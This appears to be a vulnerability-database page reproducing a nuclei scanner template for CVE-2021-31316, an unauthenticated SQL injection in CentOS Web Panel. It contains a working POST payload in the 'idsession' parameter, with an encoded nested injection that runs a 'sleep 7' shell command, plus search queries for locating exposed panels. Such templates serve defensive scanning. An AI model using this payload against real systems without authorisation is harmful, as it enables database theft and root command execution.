Lucene search
K

CentOS Web Panel - SQL Injection

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 58 Views

CentOS Web Panel is vulnerable to SQL Injection via the 'idsession' parameter, severity critical.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-31316
16 Jan 202509:29
circl
CNNVD
CentOS Web Panel SQL注入漏洞
18 May 202100:00
cnnvd
Check Point Advisories
CentOS Web Panel SQL Injection (CVE-2021-31316; CVE-2021-31324)
20 Jun 202100:00
checkpoint_advisories
CVE
CVE-2021-31316
18 May 202119:44
cve
Cvelist
CVE-2021-31316
18 May 202119:44
cvelist
NVD
CVE-2021-31316
18 May 202120:15
nvd
Prion
Sql injection
18 May 202120:15
prion
Positive Technologies
PT-2021-19237 · Unknown · Centos Web Panel
18 May 202100:00
ptsecurity
id: CVE-2021-31316

info:
  name: CentOS Web Panel - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the 'idsession' HTTP POST parameter.
  impact: |
    Unauthenticated attackers can exploit SQL injection via the idsession parameter to extract database contents or execute arbitrary commands with root privileges.
  remediation: |
    Apply security updates provided by CentOS Web Panel.
  reference:
    - https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31316
    cwe-id: CWE-89
    epss-score: 0.13029
    epss-percentile: 0.95862
    cpe: cpe:2.3:a:control-webpanel:webpanel:-:*:*:*:*:*:*:*
  metadata:
    vendor: control-webpanel
    product: webpanel
    shodan-query: title:"Login | Control WebPanel"
    fofa-query: title="Login | Control WebPanel"
  tags: cve,cve2021,centos,cwpsrv,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "cwpsrv")'
        internal: true

  - raw:
      - |
        POST /login/index.php?acc=newpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a'%20UNION%20SELECT'a'%2c'b'%2c'c'%2c'YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO3NsZWVwIDc7I2B8fGF8fGJ8fGN8fGQ%3d'%2c'e'%2c'f'-- p

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(response, "Control WebPanel")'
        condition: and
# digest: 4a0a0047304502210088bf18f35226fa609b228fe29637b83586b8a8e2aac56f2d7e4c210d5bbdc236022014bd06e0804ec56ee6e24c017370983646dfdf15ce1717fd81f4acd415029fc0:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
CVSS 210
EPSS0.13029
58